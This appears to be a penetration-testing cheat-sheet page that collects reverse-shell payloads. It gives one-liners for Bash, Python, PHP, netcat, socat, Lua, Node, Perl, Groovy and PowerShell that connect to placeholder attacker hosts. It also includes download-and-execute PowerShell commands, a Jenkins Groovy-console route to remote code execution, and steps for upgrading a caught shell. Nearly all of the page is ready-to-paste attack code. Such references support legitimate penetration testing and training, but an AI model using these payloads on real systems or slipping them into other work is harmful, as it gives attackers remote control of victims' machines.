Skip to content

Reverse shells

Compendium of reverse shells.

Linux and OS agnostic reverse shells

Bash

1
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 

Info

Sometimes is not possible to put spaces in the payload. ${IFS} can be used as a separator on linux systems.

Python

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
This will be executed if you are injecting this code into a python execution context. In case we need to do it from a shell, you can prepend python -c 'payload'

Warning

It is possible that if you are executing this into a shell (eg. Bash) can assume that python is not installed if the execution fails. Try python3 for example, it could be only installed under this name.

Alternative Method:

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

PHP

1
$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");
Or prepending php -r 'payload' if we executing this from a shell context.

Netcat

1
nc -e /bin/sh 10.0.0.1 1234

Info

This will only work on systems that have the "insecure" version of netcat installed. The -e functionality its usually disabled. Sometimes can be found in nc.traditional program if it is installed.

In case Netcat is installed but without the -e flag, you can do the following (FIFO pipes shell)

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f

Socat

Attacker:

1
socat file:`tty`,raw,echo=0 TCP-L:4242
Victim:

1
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242

Lua

1
local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()

Node JS

1
require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')

Perl

1
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Groovy

1
2
3
4
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Hint

Useful when exploiting Jenkins. If your Jenkins privileges let you to access groovy console (Tipically found at /script on jenkins GUI) it is possible to use this reverse shell to get RCE.

Windows reverse shells

Windows by default could use any of the above shells if there is present any of the languages. If not, a typical approach is going with Powershell.

Nishang

Quote

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.

In memory execution:

1
iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]

You can also add in the file the last line Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.] to the script and do the same function in one command.
Powershell One-Liner:

1
$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

ConPty

1
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1); Invoke-ConPtyShell 10.0.0.2 3001

Note

Fully interactive shell, but needs Rows and Cols. As noted on the repo, it is possible to avoid setting these params if the listener is started like this: stty raw -echo; (stty size; cat) | nc -lvnp 3001

Warning

Requirements:
Client Side: Windows version >= 10 / 2019 1809 (build >= 10.0.17763)

General tricks and upgrading the shell

When catching reverse shells with netcat on a port (e.g. using nc -lvnp 4444) you can find a lot of times that is hard to edit commands if you make a typo or whatever. This is due to losing access to some "terminal enhancers" we have on default shell session in our machine. One of them is ReadLine that allow you to edit your commands or use your arrow keys to rotate between them. It is possible to replicate that functionality into the reverse shell prepending the listening shell with rlwrap. Example: rlwrap nc -lvnp 1234

Another improvement for the shell could be putting the "host" shell on raw mode to use keyboard shortcuts or editor programs on your reverse shell. That can be achieved doing the following:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
ctrl+z
echo $TERM && tput lines && tput cols

# for bash
stty raw -echo
fg

# for zsh
stty raw -echo; fg

reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>

Note the detail on zsh. The motivation behind doing the trick different resides on this information taken from PayloadsAllTheThings repo:

Quote

The main problem here is that zsh doesn't handle the stty command the same way bash or sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect

References